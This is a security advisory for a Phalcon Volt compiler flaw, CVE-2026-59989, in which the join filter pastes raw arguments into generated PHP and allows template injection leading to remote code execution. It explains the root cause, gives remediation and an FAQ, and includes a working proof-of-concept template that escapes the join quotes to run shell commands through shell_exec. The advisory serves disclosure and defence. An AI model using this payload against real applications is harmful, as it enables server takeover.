CVE-2026-59989: Phalcon Volt compiler `join` filter compile-time PHP code injection (SSTI lead to RCE)
Summary
The Volt template compiler in Phalcon generates the PHP for the join filter by string-concatenating the filter's raw template-literal argument bytes with no escaping. The separator literal is dropped verbatim between two single quotes the compiler emits, and the piped array argument is emitted completely bare. A Volt template whose join arguments are attacker-influenced can therefore break out of the generated join('…') call and inject arbitrary PHP into the compiled template. Volt writes that compiled template to a cache file and require()s it at render time, so the injected PHP executes i.e. compile-time PHP code injection (server-side template injection -> remote code execution) for any application that compiles attacker-controlled Volt source.
Details
Root cause
phalcon/Mvc/View/Engine/Volt/Compiler.zep:2544-2546:
zephir case "join": return "join('" . funcArguments[1]["expr"]["value"] . "', " . funcArguments[0]["expr"]["value"] . ")";
funcArguments[1]["expr"]["value"] (the separator) and funcArguments[0]["expr"]["value"] (the piped array) are the raw values of the parsed template tokens. Unlike every other expression in the compiler, they are not routed through expression() and receive no escaping: the separator value is spliced verbatim inside the join(' … ' quotes with no neutralisation of ', and the array value is emitted with no quoting at all. Volt's scanner stores string-literal bytes verbatim (escape sequences are not decoded), so attacker bytes survive intact into the generated PHP.
Generated-C ground truth -> build/phalcon/phalcon.zep.c (Phalcon 5.15.0):
c ZEPHIRCONCATSVSVS(returnvalue, "join('", &19$$24, "', ", &22$$24, ")");
i.e. literally "join('" + separator + "', " + array + ")" with both attacker-controlled fragments unescaped.
The compiled output is then written to a cache file and required by Phalcon\Mvc\View\Engine\Volt::render(), so any PHP spliced in by the attacker runs at render time.
PoC
php <?php use Phalcon\Mvc\View\Engine\Volt\Compiler;
$cmd = 'id; uname -a; hostname';
$b64 = base64encode($cmd); $tpl = "{{ ['x'] | join(\"',[]); echo shellexec(base64decode('$b64')); //\") }}";
$compiled = (new Compiler())->compileString($tpl);
$f = tempnam(sysgettempdir(), 'volt') . '.php'; fileputcontents($f, $compiled); include $f; unlink($f);
<img width="1226" height="386" alt="image" src="https://github.com/user-attachments/assets/4d5da3f4-0bc9-41d9-b741-13c9ea9b08fe" />
Impact
Where an application compiles Volt source that is wholly or partly attacker-controlled, this yields remote code execution in the web-server process.
Other sources
Phalcon is a high-performance, full-stack PHP framework. In 5.15.0 and earlier, resolveFilter in phalcon/Mvc/View/Engine/Volt/Compiler.zep builds the join filter by inserting the raw separator and array token values into generated PHP without passing them through expression(). An attacker who can influence Volt template source can place quote-breaking content in a join argument, inject PHP into the compiled cache file, and execute it when Phalcon\Mvc\View\Engine\Volt::render() loads the template. This issue is fixed in version 5.16.0.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
composer/phalcon/cphalconto a version that resolves this vulnerability.Fixed in 5.16.0 - Upgrade
Upgrade
Phalconto a version that resolves this vulnerability.Fixed in 5.16.0 - Compensating control
Ensure Volt template source compiled by Phalcon is not attacker-controlled (only allow trusted authors/inputs for Volt templates that get compiled and cached, since injection occurs at compile time and executes when Volt renders/require()s the cache file).
Event History
Frequently Asked Questions
Who is exposed to this issue?
Applications using Phalcon Volt 5.15.0 or earlier are exposed if an attacker can influence the source of a Volt template that is compiled and later rendered. The injected PHP executes when Volt loads the compiled template cache file during rendering.
What does an attacker need to exploit it?
The attacker needs the ability to place quote-breaking content in an argument to the Volt join filter within template source. This is a server-side template injection path that can result in PHP code execution when the affected template is rendered.
Are default installations affected?
The available information does not establish whether a default application configuration exposes attacker-controlled Volt template source. Exposure depends on whether the application permits untrusted input to affect template source.
What version fixes the issue?
Phalcon version 5.16.0 fixes the issue. Versions 5.15.0 and earlier are affected according to the provided advisory information.